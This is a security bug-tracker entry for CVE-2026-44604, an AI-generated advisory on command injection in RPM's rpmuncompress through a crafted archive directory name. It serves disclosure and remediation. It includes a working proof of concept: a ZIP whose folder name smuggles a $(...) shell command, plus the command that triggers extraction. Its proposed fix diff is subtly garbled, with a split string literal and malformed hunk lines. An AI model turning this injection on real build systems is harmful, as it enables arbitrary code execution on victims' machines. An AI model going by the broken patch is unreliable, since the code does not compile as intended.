Bug 2460967 (CVE-2026-44604)

Summary: CVE-2026-44604 rpm: Command injection in rpmuncompress doUntar() via unescaped archive top-level directory name in popen() shell command
Product: [Other] Security Response Reporter: OSIDB Bzimport <bzimport>
Component: vulnerability-draftAssignee: Product Security DevOps Team <prodsec-dev>
Status: NEW --- QA Contact:
Severity: medium Docs Contact:
Priority: medium    
Version: unspecifiedCC: adinn, anthomas, bdettelb, caswilli, derez, dfreiber, doconnor, drow, ehelms, fzakkak, galder, ggainey, jburrell, jdobes, jmitchel, jsamir, juwatts, kaycoth, kgaikwad, kshier, ljawale, luizcosta, mbabacek, mhulan, nmoumoul, nweather, olubyans, orabin, osousa, pakotvan, pbohmill, pcreech, pjindal, rbobbitt, rchan, rhel-process-autobot, sbiarozk, security-response-team, sgehwolf, smallamp, sthirugn, teagle, tmalecek, tqvarnst, vkumar, watson-tool-maintainers, zzhou
Target Milestone: ---Keywords: Security
Target Release: ---   
Hardware: All   
OS: Linux   
Whiteboard:
Fixed In Version: Doc Type: ---
Doc Text:
A command injection vulnerability was discovered in the `rpmuncompress` utility of RPM. When extracting certain archive formats (ZIP, 7z, GEM) to a specified destination directory, the tool inserts the archive's top-level folder name into a shell command without properly sanitizing it. A specially crafted archive containing shell metacharacters in its folder name can execute arbitrary commands as the user running the extraction.
Story Points: ---
Clone Of: Environment:
Last Closed: Type: ---
Regression: --- Mount Type: ---
Documentation: --- CRM:
Verified Versions: Category: ---
oVirt Team: --- RHEL 7.3 requirements from Atomic Host:
Cloudforms Team: --- Target Upstream Version:
Embargoed:
Bug Depends On: 2482484, 2482485    
Bug Blocks:    
Deadline: 2026-05-29   

Description OSIDB Bzimport 2026-04-23 00:28:04 UTC
AI_ONLY_REPORT
package: rpm-6.0.1-5.1.hum1
------
Summary: Command Injection in rpmuncompress via malicious archive content:  
in the `-x -C` extraction path for single-root extractable archives,  
`doUntar()` inserts an archive-derived top-level directory name into a  
`popen()` shell command without escaping embedded single quotes, allowing  
arbitrary shell execution when a malicious archive is processed.
Requirements to exploit: The attacker must supply a malicious single-root  
archive whose top-level directory name contains an embedded single quote  
and have a user or build workflow process it through the `rpmuncompress -x  
-C` extraction path. This vulnerable branch is narrower than general  
archive handling: it covers ZIP and other extractable formats that use the  
same path, such as 7z and GEM, while common tar/default extraction paths  
are not affected. RPM source-preparation workflows using `%setup/%autosetup  
-C` can reach this path.
Component affected: github.com/rpm-software-management/rpm -  
`tools/rpmuncompress.cc` (`rpmuncompress` `doUntar()` / `singleRoot()` path)
Version affected: Confirmed in rpm-6.0.1-5.1.hum1 (upstream 6.0.1); likely  
affects other versions containing the same `singleRoot()` + `moveup` +  
`popen()` construction in `doUntar()`, but the exact introduction point is  
unknown.
Patch available: Proposed fix included in this report (see `Proposed Fix`);  
upstream release status unknown.
Version fixed (if any already): unknown
Upstream coordination: Not yet notified. This report is the initial triage.
CVSS: CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H - 7.8 (HIGH)
AV:L - The attacker provides a malicious archive that is processed  
locally.
AC:L - Exploitation requires only a crafted top-level directory name  
containing a single quote and reaching the `-x -C` extraction path; no race  
or special environment is required.
PR:N - No prior privileges on the target system are required beyond  
delivering the archive.
UI:R - A user or automated build workflow must process the archive.
S:U  - Code execution occurs within the same RPM extraction/build  
security scope.
C:H  - Successful injection can read data available to the  
extraction/build context.
I:H  - Successful injection can execute arbitrary shell commands and  
modify files or build outputs in that context.
A:H  - Successful injection can disrupt or destroy the build workspace  
or build process.
Impact: Important. Although the reachable branch is narrower than all  
archive extraction, successful exploitation gives deterministic arbitrary  
shell execution in the permissions of the build or extraction user from  
attacker-controlled archive metadata. Because `%setup/%autosetup -C` can  
invoke this path, the issue affects real RPM source-preparation workflows  
rather than only a niche manual helper.
Embargo: no
Reason: This is a local-file processing issue with clear prerequisites  
and straightforward mitigations. Exploitation requires an  
attacker-controlled archive to be processed through a specific workflow  
rather than exposing a broad unauthenticated remote attack surface, and  
common tar/default extraction paths are not affected.
Acknowledgement: Aisle Research
Steps to reproduce:
1. Create a ZIP archive with a single top-level directory name containing a  
single quote and a shell payload:
```bash
python3 - <<'PY'
import zipfile
name = "evil'$(touch /tmp/rpmuncompress_poc)'"
with zipfile.ZipFile("/tmp/poc.zip", "w") as z:
z.writestr(f"{name}/README.txt", "x")
PY
```
2. Trigger the vulnerable extraction path:
```bash
mkdir -p /tmp/out
rpmuncompress -x -C /tmp/out /tmp/poc.zip
```
3. Verify command execution:
```bash
test -f /tmp/rpmuncompress_poc && echo "INJECTED"
```
4. Optional non-destructive confirmation:
```bash
rpmuncompress -n -x -C /tmp/out /tmp/poc.zip
```
This prints the generated shell command and shows the unescaped `sr`  
interpolation.
Mitigation:
Treat source archives as trusted-code inputs in build and CI pipelines.

Do not process untrusted archives through `rpmuncompress -x -C`,  
including workflows that expand to `%setup/%autosetup -C`.

Prefer extraction paths that do not use this vulnerable branch until a  
fix is available; common tar/default extraction paths are not affected by  
this specific issue.

Long term, avoid shell composition for file moves. If a short-term fix is  
needed, escape embedded single quotes in `sr` before interpolating it into  
shell-quoted strings.




Vulnerability Details






In `tools/rpmuncompress.cc`, `singleRoot()` reads the archive top-level  
directory name (`sr`) from archive metadata, and `doUntar()` interpolates  
it into a shell string that is executed with `popen()`:
```cpp
char * sr = singleRoot(fn);
...
rasprintf(
&moveup,
" && "
"(shopt -s dotglob; mv \"$tmp\"/'%s'/* '%s') && "
"rmdir \"$tmp\"/'%s' \"$tmp\" ", sr, dstpath, sr);
...
inp = popen(cmd, "r");
```
Because `sr` is inserted inside single quotes without escaping embedded  
`'`, a crafted root directory name can break quoting and execute shell  
syntax.
Reachability constraints:
Requires `rpmuncompress -x -C ...`

Requires `singleRoot(fn)` to return non-NULL, meaning a single top-level  
directory archive

Affects extractable formats using this branch, such as ZIP, 7z, and GEM

Common tar/default extraction paths are not this vulnerable branch


Relevant CWEs:
`CWE-78` (OS Command Injection)

`CWE-88` (Argument Injection)




Proposed Fix






A minimal hardening patch is to escape `sr` for single-quoted shell context  
before interpolation:
```diff
— a/tools/rpmuncompress.cc
+++ b/tools/rpmuncompress.cc
@@
+static char *shSingleQuoteEscape(const char *s)
+{
+    size_t extra = 0;
+    for (const char *p = s; *p; p++)
+        if (*p == '\'')
+            extra += 3; /* '\'' replaces 1 char with 4 */
+    char *out = (char *)xmalloc(strlen(s) + extra + 1);
+    char *o = out;
+    for (const char *p = s; *p; p++) {
+        if (*p == '\'') {
+            memcpy(o, "'
''", 4);
+            o += 4;
+        } else {
+            *o++ = *p;
+        }
+    }
+    *o = '\0';
+    return out;
+}
@@
       rasprintf(
+        char *sr_esc = shSingleQuoteEscape(sr);
+        rasprintf(
              &moveup,
              " && "
              "(shopt -s dotglob; mv \"$tmp\"/'%s'/* '%s') && "

           "rmdir \"$tmp\"/'%s' \"$tmp\" ", sr, dstpath, sr);
+            "rmdir \"$tmp\"/'%s' \"$tmp\" ", sr_esc, dstpath, sr_esc);
+        free(sr_esc);
```


Preferred long-term fix: avoid shell composition for file moves and use  
filesystem APIs directly.
------
This report was generated using AI technology. Always review AI-generated  
content prior to use